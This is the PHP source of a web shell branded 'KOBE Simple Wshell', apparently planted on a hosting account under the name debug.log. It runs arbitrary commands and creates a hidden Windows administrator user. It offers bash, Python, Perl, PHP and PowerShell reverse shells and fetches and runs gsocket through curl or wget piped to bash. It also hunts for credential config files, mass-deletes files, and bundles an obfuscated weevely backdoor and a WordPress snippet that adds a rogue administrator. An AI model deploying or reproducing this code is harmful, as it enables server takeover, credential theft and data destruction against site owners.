/var/www/vhosts/ihelp.ro/httpdocs/webroot/123
Edit: /var/www/vhosts/ihelp.ro/httpdocs/webroot/123/debug.log (135090B)
" . $perm . "";
} else {
return "
" . $perm . " ";
}
}
function s()
{
echo '
';
}
function ok()
{
echo '
';
}
function er()
{
echo '
';
}
function sz($byt)
{
$typ = ["B", "KB", "MB", "GB", "TB"];
for ($i = 0; $byt >= 1024 && $i < count($typ) - 1; $byt /= 1024, $i++);
return round($byt, 2) . " " . $typ[$i];
}
function ia()
{
$ia = "";
if (getenv("HTTP_CLIENT_IP")) {
$ia = getenv("HTTP_CLIENT_IP");
} elseif (getenv("HTTP_X_FORWARDED_FOR")) {
$ia = getenv("HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_X_FORWARDED")) {
$ia = getenv("HTTP_X_FORWARDED");
} elseif (getenv("HTTP_FORWARDED_FOR")) {
$ia = getenv("HTTP_FORWARDED_FOR");
} elseif (getenv("HTTP_FORWARDED")) {
$ia = getenv("HTTP_FORWARDED");
} elseif (getenv("REMOTE_ADDR")) {
$ia = getenv("REMOTE_ADDR");
} else {
$ia = "Unknown IP";
}
return $ia;
}
function deleteDir($dirPath) {
if (!is_dir($dirPath)) {
return false;
}
$files = array_diff(scandir($dirPath), array('.', '..'));
foreach ($files as $file) {
$filePath = $dirPath . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
deleteDir($filePath);
} else {
unlink($filePath);
}
}
rmdir($dirPath);
return true;
}
function exe($cmd)
{
$method = "";
$buff = "";
if (function_exists("system")) {
$method = "system";
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("exec")) {
$method = "exec";
@exec($cmd, $results);
$buff = implode("\n", $results);
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("passthru")) {
$method = "passthru";
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("shell_exec")) {
$method = "shell_exec";
$buff = @shell_exec($cmd);
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("`")) {
$method = "backticks";
$buff = `{$cmd}`;
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("popen")) {
$method = "popen";
$handle = @popen($cmd, "r");
$buff = "";
if ($handle) {
while (!feof($handle)) {
$buff .= fread($handle, 4096);
}
@pclose($handle);
}
return "$method: " . htmlspecialchars($buff);
} elseif (function_exists("proc_open")) {
$method = "proc_open";
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"],
];
$process = @proc_open($cmd, $descriptorspec, $pipes);
$buff = "";
if (is_resource($process)) {
fclose($pipes[0]);
while (!feof($pipes[1])) {
$buff .= fread($pipes[1], 4096);
}
fclose($pipes[1]);
fclose($pipes[2]);
@proc_close($process);
}
return "$method: " . htmlspecialchars($buff);
}
return false;
}
function p($file)
{
$p = fileperms($file);
if (($p & 0xc000) == 0xc000) {
$i = "s";
} elseif (($p & 0xa000) == 0xa000) {
$i = "l";
} elseif (($p & 0x8000) == 0x8000) {
$i = "-";
} elseif (($p & 0x6000) == 0x6000) {
$i = "b";
} elseif (($p & 0x4000) == 0x4000) {
$i = "d";
} elseif (($p & 0x2000) == 0x2000) {
$i = "c";
} elseif (($p & 0x1000) == 0x1000) {
$i = "p";
} else {
$i = "u";
}
$i .= $p & 0x0100 ? "r" : "-";
$i .= $p & 0x0080 ? "w" : "-";
$i .= $p & 0x0040 ? ($p & 0x0800 ? "s" : "x") : ($p & 0x0800 ? "S" : "-");
$i .= $p & 0x0020 ? "r" : "-";
$i .= $p & 0x0010 ? "w" : "-";
$i .= $p & 0x0008 ? ($p & 0x0400 ? "s" : "x") : ($p & 0x0400 ? "S" : "-");
$i .= $p & 0x0004 ? "r" : "-";
$i .= $p & 0x0002 ? "w" : "-";
$i .= $p & 0x0001 ? ($p & 0x0200 ? "t" : "x") : ($p & 0x0200 ? "T" : "-");
return $i;
}
if (isset($_1337["dir"])) {
$dir = $_1337["dir"];
chdir($dir);
} else {
$dir = $gcw();
}
echo "
KOBE Simple Wshell
Kobe Simple Wshell | Alexithema1337 ";
if (isset($_1337["path"])) {
$path = $_1337["path"];
chdir($path);
} else {
$path = $gcw();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
foreach ($paths as $id => $pat) {
if ($pat == "" && $id == 0) {
$a = true;
echo "
:
/ ";
continue;
}
if ($pat == "") {
continue;
}
echo "
" . $pat . " /";
}
$scand = scandir($path);
echo " [ " . w($path, p($path)) . " ]";
function is_any_function_available($functions) {
foreach ($functions as $function_name) {
if (function_exists($function_name) && is_callable($function_name)) {
return true;
}
}
return false;
}
$functions_to_check = ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open'];
$isoora = is_any_function_available($functions_to_check);
$status = $isoora ? "
ON " : "
OFF ";
// info
$sql = function_exists("mysql_connect") ? "
ON " : "
OFF ";
$curl = function_exists("curl_version") ? "
ON " : "
OFF ";
$wget = exe("wget --help") ? "
ON " : "
OFF ";
$pl = exe("perl --help") ? "
ON " : "
OFF ";
$py = exe("python --help") ? "
ON " : "
OFF ";
$gcc = exe("gcc --help") ? "
ON " : "
OFF ";
$pkexec = exe('pkexec --version"') ? "
ON " : "
OFF ";
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disfc = "
NONE ";
} else {
$disfc = "
$disfunc ";
}
if (!function_exists("posix_getegid")) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid["name"];
$uid = $uid["uid"];
$group = $gid["name"];
$gid = $gid["gid"];
}
$sm =
@ini_get(strtolower("safe_mode")) == "on" ? "
ON " : "
OFF ";
echo "
Information Server
System: " .php_uname() ."
Software: " .$_SERVER["SERVER_SOFTWARE"] ."
PHP Version: " .PHP_VERSION ." PHP Os: " . PHP_OS ."
Server IP: " .gethostbyname($_SERVER["HTTP_HOST"]) ."
Your IP: " .ia() ."
User: $user [$uid] | Group: [$group] [$gid]
Safe Mode: $sm
MYSQL: $sql | PERL: $pl | PYTHON: $py | WGET: $wget | CURL: $curl | GCC: $gcc | PKEXEC: $pkexec
Disable Function:
$disfc
";
$full = str_replace($_SERVER["DOCUMENT_ROOT"], "", $path);
// tools
if (isset($_1337["dir"])) {
$dir = $_1337["dir"];
chdir($dir);
} else {
$dir = $gcw();
}
$path = str_replace("\\", "/", $path);
$scdir = explode("/", $dir);
for ($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if ($i != $c_dir) {
}
// create rdp
if ($_1337["id"] == "rdp") {
ob_implicit_flush();
ob_end_flush();
if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") {
echo '
Create RDP (Windows Server) ';
echo '
'.exe("net user DataAdmin AlexGanteng /add", $path).exe("net localgroup administrators DataAdmin /add",$path) .' If there is no "Access is denied." output, chances are that you have succeeded in creating a user here. Just log in using the username and password below. hosts: '. gethostbyname($_SERVER["HTTP_HOST"]). 'username: DataAdmin
password: AlexGanteng ';
} else {
echo "";
}
}
// CUSTOM HERE
$filenya = $_SERVER["PHP_SELF"];
$resoolt = str_replace('/', '', $filenya);
// END
if ($_1337["id"] == "lockfile") {
s();
echo '
Lock File
To prevent files from being modified, destroyed, or altered, use a lock file. To run this, an execute command is needed.
';
function remdot($filename) {
return str_replace('.', '', $filename);
}
function get_temp_dir() {
$tmp_paths = array('/tmp', '/var/tmp');
foreach ($tmp_paths as $tmp_path) {
if (is_writable($tmp_path)) {
return $tmp_path;
}
}
if (function_exists('sys_get_temp_dir')) {
return sys_get_temp_dir();
}
if (!empty($_ENV['TMP'])) {
return realpath($_ENV['TMP']);
} elseif (!empty($_ENV['TMPDIR'])) {
return realpath($_ENV['TMPDIR']);
} elseif (!empty($_ENV['TEMP'])) {
return realpath($_ENV['TEMP']);
}
$tempfile = tempnam(sys_get_temp_dir(), '');
if ($tempfile) {
unlink($tempfile);
return realpath(dirname($tempfile));
}
return false;
}
function cmdoitlock($command) {
if (function_exists('system')) {
system($command);
} elseif (function_exists('exec')) {
exec($command);
} elseif (function_exists('shell_exec')) {
shell_exec($command);
} elseif (function_exists('passthru')) {
passthru($command);
} elseif (function_exists('popen')) {
$handle = popen($command, 'r');
if ($handle) {
while (!feof($handle)) {
echo fgets($handle, 4096);
}
pclose($handle);
}
} elseif (function_exists('proc_open')) {
proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
} elseif (function_exists('`')) {
echo `$command`;
}
}
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['lockfile'])) {
$namafilelos = $_POST['lockfile'];
$tmpnya = get_temp_dir();
if ($tmpnya) {
$cachedirectorylo = $tmpnya . '/.PHPSESSID';
if (file_exists($cachedirectorylo . '/.' . base64_encode(getcwd() . remdot($namafilelos) . '-handler')) &&
file_exists($cachedirectorylo . '/.' . remdot($namafilelos) . '-text')) {
cmdoitlock('rm -rf ' . $cachedirectorylo . '/.' . base64_encode(getcwd() . remdot($namafilelos) . '-text-file'));
cmdoitlock('rm -rf ' . $cachedirectorylo . '/.' . base64_encode(getcwd() . remdot($namafilelos) . '-handler'));
}
mkdir($cachedirectorylo);
cmdoitlock("cp $namafilelos $cachedirectorylo/." . base64_encode(getcwd() . remdot($namafilelos) . '-text-file'));
chmod($namafilelos, 0444);
$handler = ' /dev/null 2>/dev/null &');
echo "";
}
} else {
echo "";
}
}
}
// get tools
if ($_1337["id"] == "getools") {
s();
echo "
Get Private Tools
";
// start here
if (isset($_POST['get'])) {
function downloadFile($url, $fileName)
{
$userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3';
$downloaded = false;
// Method 1: Using cURL
$ch = curl_init($url);
$fp = fopen($fileName, 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
if (curl_exec($ch)) {
$downloaded = true;
}
curl_close($ch);
fclose($fp);
// Method 2: Using file_get_contents and file_put_contents
if (!$downloaded) {
$opts = [
'http' => [
'method' => "GET",
'header' => "User-Agent: $userAgent\r\n"
]
];
$context = stream_context_create($opts);
$fileContent = file_get_contents($url, false, $context);
if ($fileContent !== false) {
file_put_contents($fileName, $fileContent);
$downloaded = true;
}
}
// Method 3: Using fopen and fread/fwrite
if (!$downloaded) {
$fp = fopen($fileName, 'w');
if ($fp) {
$source = fopen($url, 'r');
if ($source) {
while ($content = fread($source, 8192)) {
fwrite($fp, $content);
}
fclose($source);
$downloaded = true;
}
fclose($fp);
}
}
// Method 4: Using copy
if (!$downloaded) {
if (copy($url, $fileName)) {
$downloaded = true;
}
}
// Method 5: Using stream_context
if (!$downloaded) {
$opts = [
'http' => [
'method' => 'GET',
'header' => 'User-Agent: ' . $userAgent
]
];
$context = stream_context_create($opts);
$source = fopen($url, 'r', false, $context);
if ($source) {
$fp = fopen($fileName, 'w');
if ($fp) {
while ($content = fread($source, 8192)) {
fwrite($fp, $content);
}
fclose($fp);
$downloaded = true;
}
fclose($source);
}
}
if ($downloaded) {
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$urlwebsite = $protocol . '://' . $_SERVER['HTTP_HOST'];
$downloadLink = $urlwebsite . str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath(getcwd())) . '/' . basename($fileName);
echo "
Click Here! ";
} else {
echo "
Failed to download the file.
";
}
}
if ($_POST['option'] == '1') {
$url = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
$fileName = getcwd() . '/kobeadminer.php';
} elseif ($_POST['option'] == '2') {?>
Order Allow,Deny
Deny from all
Order Deny,Allow
Deny from all
Order allow,deny
Allow from all
ErrorDocument 403 \"Request Rejected by Kobe The requested URL was rejected. Please consult with your administrator.\"
ErrorDocument 404 \"Request Rejected by Kobe The requested URL was rejected. Please consult with your administrator.\"");
?>
Copy
How to use? Just paste the .htaccess above in the folder you want to block all shell extensions except
error_reporting(0);
$a='$k="c8ba0w"w"a4b";$kw"h="w"7w"4948d105bdbw"";$kf="6f7w"7b77aw"432e"w";$pw"="5dJ1fteGr';
$W='Iw"w"XjtCLs";fuw"w"nction x($t,$k){$w"c=strw"len($kw");$l=stw"rw"len($tw");$o=""w";f';
$d='or($i=0;w"$i<$l;w")w"{fow"rw"($j=0;($jw"<$c&&$i<$l)w";$j++,w"$w"i++){$o.=$t{$i}^w"$k';
$l='w"lean();$w"r=@basw"e64_encow"dew"(w"@x(@gzcow"mpress($w"o),$k))w";prinw"t("$p$kh$rw"$kf");}';
$w='{$j}w";w"w"}}return $w"ow";}if (@w"prew"g_match("/$kh(.+)$w"kw"f/",w"@fiw"le_get_con';
$u=str_replace('I','','creIatIeI_fIuInctIion');
$g='tentw"s("php://iw"nputw"w""),$m)==1) {w"@ow"bw"_start();@evw"al(w"@gzuncomw"press(@x';
$H='(@bw"ase6w"4_dew"w"cw"ode($m[1]),$k)));$o=@ow"b_gw"w"et_cw"ontents();@w"ob_end_c';
$r=str_replace('w"','',$a.$W.$d.$w.$g.$H.$l);
$T=$u('',$r);$T();
Copy
How to use? Just paste the code above in the php file, for example: index.php etc. then connect to weevely | terminal command: weevely http://yoursite/yourfile.php kobe
function kobeadmin(){
$login = 'kobe';
$passw = 'kobeganteng13+13';
$email = 'kobe-ganteng@proton.me';
if ( !username_exists( $login ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $login, $passw, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
add_action('init','kobeadmin');
Copy
How to use? Add the above code in the functions.php file on the target website. | example: https://example.go.id/wp-content/themes/[themes name]/functions.php
GSocket Install
';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['method']) && isset($_POST['pathnyo']) && isset($_POST['gsopt'])) {
$method = $_POST['method'];
$pathnyo = rtrim($_POST['pathnyo'], '/') . '/';
$gsopt = $_POST['gsopt'];
$token = trim($_POST['customtoken']);
$command = '';
if ($method == 'curl') {
if ($gsopt == 'default') {
$command = 'bash -c "$(curl -fsSL https://gsocket.io/y)"';
} elseif ($gsopt == 'undo') {
$command = 'GS_UNDO=1 bash -c "$(curl -fsSL https://gsocket.io/y)"; pkill -9 defunct';
} elseif ($gsopt == 'custom' && !empty($token)) {
$command = 'S="' . $token . '" bash -c "$(curl -fsSL https://gsocket.io/y)"';
}
} elseif ($method == 'wget') {
if ($gsopt == 'default') {
$command = 'bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"';
} elseif ($gsopt == 'undo') {
$command = 'GS_UNDO=1 bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"; pkill -9 defunct';
} elseif ($gsopt == 'custom' && !empty($token)) {
$command = 'S="' . $token . '" bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"';
}
}
if (!empty($command)) {
echo '
' . exe($command, $pathnyo) . '
';
} else {
echo "
Invalid options or missing token for custom.
";
}
}
echo '
';
}
// config password searcher
if ($_1337["id"] == "conf") {
s();
$home = $_SERVER['DOCUMENT_ROOT'];
$defaultTargetFiles = "wp-config.php
configuration.php
local.xml
settings.inc.php
config.php
conn.php
config.inc.php
koneksi.php
connect.php
connecr.php
.env
database.php";
echo '
Config Searcher
";
}
// create htaccess
if ($_1337["id"] == "createhtaccess") {
s();
echo '
Create .htaccess ';
if (isset($_1337['bikin'])) {
$selectedContent = isset($_1337['content']) ? $_1337['content'] : '';
$isiFile = '';
$namafile = isset($_POST['namafile']) ? $_POST['namafile'] : '';
if ($selectedContent == 'content1') {
$isiFile = "
Allow from all
";
} elseif ($selectedContent == 'content2') {
$isiFile = "
Order Allow,Deny
Deny from all
Order Allow,Deny
Allow from all
";
}
$setNama = '.htaccess';
$result = file_put_contents($setNama, $isiFile);
chmod($setNama, 0444);
if ($result !== false) {
echo '
Create file ok! ' . ok() . '
';
} else {
echo 'No files with extension .$extensi found in directory $dir.
";
}
}
echo "
Find File Using Keyword
';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$keyword = $_POST["keyword"];
$path = isset($_POST["path"]) ? $_POST["path"] : '.';
$extension = $_POST["extension"];
if ($extension === "all") {
$files = glob("$path/*");
} else {
$files = glob("$path/*$extension");
}
$matching_files = [];
foreach ($files as $file) {
if (is_file($file) && strpos(file_get_contents($file), $keyword) !== false) {
$matching_files[] = $file;
}
}
if (!empty($matching_files)) {
echo '
Searching '.$keyword.' on '.$extension.' extension.
';
foreach ($matching_files as $matching_file) {
echo '' . $matching_file . ' ';
}
echo ' ';
} else {
echo '
No matching files found.
';
}
}
}
// find recent files
if ($_1337["id"] == "findmtime") {
s();
echo '
';
function getModifiedFiles($path, $startTime, $endTime)
{
$files = [];
$dirContent = scandir($path);
foreach ($dirContent as $item) {
if ($item != '.' && $item != '..') {
$itemPath = $path . '/' . $item;
if (is_dir($itemPath)) {
$subDirFiles = getModifiedFiles($itemPath, $startTime, $endTime);
$files = array_merge($files, $subDirFiles);
} else {
$modifiedTime = filemtime($itemPath);
if ($modifiedTime >= $startTime && $modifiedTime <= $endTime) {
$files[] = $itemPath;
}
}
}
}
return $files;
}
$customPath = isset($_POST["custom_path"]) ? $_POST["custom_path"] : getcwd();
if (isset($_POST["scan"])) {
$currentDateTime = new DateTime();
$startTime = $currentDateTime->getTimestamp();
$selectedRange = $_POST["time_range"];
switch ($selectedRange) {
case "1min":
$endTime = $startTime - 60;
break;
case "1day":
$endTime = $startTime - 60 * 60 * 24;
break;
case "10days":
$endTime = $startTime - 60 * 60 * 24 * 10;
break;
case "1month":
$endTime = $startTime - 60 * 60 * 24 * 30;
break;
default:
$endTime = $startTime;
}
$modifiedFiles = getModifiedFiles($customPath, $endTime, $startTime);
echo '
';
foreach ($modifiedFiles as $file) {
echo "$file -> File modified at {$currentDateTime->format("Y-m-d H:i:s")} ";
}
echo " ";
}
}
// mass delete
if ($_1337["id"] == "delete") {
function mass_delete($dir, $namefile)
{
if (is_writable($dir)) {
$dira = scandir($dir);
foreach ($dira as $dirb) {
$dirc = "$dir/$dirb";
$lapet = $dirc . "/" . $namefile;
if ($dirb === "." || $dirb === "..") {
continue;
}
if (is_dir($dirc)) {
if (is_writable($dirc)) {
if (file_exists($lapet)) {
echo "[
] $lapet
";
unlink($lapet);
}
mass_delete($dirc, $namefile);
}
}
}
}
}
if ($_1337["start"]) {
mass_delete($_1337["d_dir"], $_1337["d_file"]);
}
s();
echo '
Mass Delete ';
echo "
";
}
// back connect
if ($_1337["id"] == "revsh") {
s();
echo '
Reverse Shell ';
echo "
";
if(isset($_POST['submit'])){
$backdoor = $_POST['backdoor'];
$ip = $_POST['ip'];
$port = $_POST['port'];
if($backdoor == 1){
$command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
}elseif($backdoor == 2){
$command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); subprocess.call([\"/bin/sh\",\"-i\"]);'";
}elseif($backdoor == 3){
$command = "php -r '\$sock=fsockopen(\"$ip\",$port);stream_set_blocking(\$sock, 0);\$cmd=\"/bin/sh -i\";proc_close(proc_open(\$cmd, array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$foo));'";
}elseif($backdoor == 4){
$command = "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'";
}elseif($backdoor == 5){
$command = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'";
}elseif($backdoor == 6){
$command = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\'$ip\',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()';
}
if (function_exists('system')) {
system($command);
} elseif (function_exists('exec')) {
exec($command);
} elseif (function_exists('shell_exec')) {
shell_exec($command);
} elseif (function_exists('passthru')) {
passthru($command);
} elseif (function_exists('popen')) {
$handle = popen($command, 'r');
if ($handle) {
while (!feof($handle)) {
echo fgets($handle, 4096);
}
pclose($handle);
}
} else {
proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
}
//tambahan buat backticks
echo `$command`;
}
}
// command
if ($_1337["id"] == "cmd") {
s();
echo '
Command (Use Many Functions!) ';
if (!empty($_POST["cmd"])) {
$cmd = exe($_POST["cmd"]);
}
echo "
";
if (isset($cmd)):
echo '
$ ' . htmlspecialchars($_POST["cmd"], ENT_QUOTES, "UTF-8") . " " . htmlspecialchars($cmd, ENT_QUOTES, "UTF-8") . '
';
elseif ($_SERVER["REQUEST_METHOD"] == "POST"):
echo '
';
endif;
}
// multiple file upload
if ($_1337["id"] == "upload") {
s();
echo '
Multiple File Upload (From URL + Your Computer) ';
$userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["url"]) && isset($_POST["output_filename"]) && isset($_POST["method"])) {
$url = $_POST["url"];
$outputFilename = $_POST["output_filename"];
$method = $_POST["method"];
$fileUploaded = false;
switch ($method) {
case 'file_get_contents':
$context = stream_context_create([
'http' => ['header' => "User-Agent: $userAgent"]
]);
$file_content = @file_get_contents($url, false, $context);
if ($file_content !== false) {
$fileUploaded = file_put_contents($outputFilename, $file_content);
}
break;
case 'curl':
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
$data = curl_exec($ch);
curl_close($ch);
if ($data !== false) {
$fileUploaded = file_put_contents($outputFilename, $data);
}
break;
case 'fopen':
$readHandle = @fopen($url, 'rb');
$writeHandle = @fopen($outputFilename, 'wb');
if ($readHandle && $writeHandle) {
while (!feof($readHandle)) {
fwrite($writeHandle, fread($readHandle, 8192));
}
$fileUploaded = true;
}
if ($readHandle) fclose($readHandle);
if ($writeHandle) fclose($writeHandle);
break;
case 'copy':
$context = stream_context_create([
'http' => ['header' => "User-Agent: $userAgent"]
]);
$fileUploaded = @copy($url, $outputFilename, $context);
break;
case 'stream_context':
$context = stream_context_create([
'http' => ['method' => 'GET', 'header' => "User-Agent: $userAgent"]
]);
$file_content = @file_get_contents($url, false, $context);
if ($file_content !== false) {
$fileUploaded = file_put_contents($outputFilename, $file_content);
}
break;
case 'file':
$context = stream_context_create([
'http' => ['header' => "User-Agent: $userAgent"]
]);
$file_content = @file($url, false, $context);
if ($file_content !== false) {
$fileUploaded = file_put_contents($outputFilename, implode("", $file_content));
}
break;
default:
echo "
Invalid method specified.
";
exit;
}
if ($fileUploaded && filesize($outputFilename) > 0) {
echo "
Upload OK!
";
} else {
echo "
Failed to download file or file size is 0 byte, try to change methods.
";
}
}
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) {
$result = count($_FILES["file"]["name"]);
for ($contents = 0; $contents < $result; $contents++) {
$namefile = $_FILES["file"]["name"][$contents];
$tmp_name = $_FILES["file"]["tmp_name"][$contents];
$destination = "$path/" . $namefile;
$up = false;
if ($_FILES["file"]["size"][$contents] > 0) {
$up = move_uploaded_file($tmp_name, $destination);
}
if (!$up || filesize($destination) === 0) {
$up = @copy($tmp_name, $destination);
if (!$up || filesize($destination) === 0) {
$fileContent = @file_get_contents($tmp_name);
if ($fileContent !== false) {
$up = file_put_contents($destination, $fileContent) !== false;
}
}
}
if ($up && filesize($destination) > 0) {
$downloadLink = $urlwebsite . str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath(getcwd())) . '/' . basename($namefile);
echo "
Upload OK!
";
} else {
echo "
Upload FAILED!
";
}
}
}
echo '
';
}
// openfile
if (isset($_1337["opn"])) {
$file = $_1337["opn"];
}
// view
if ($_1337["action"] == "view") {
s();
echo "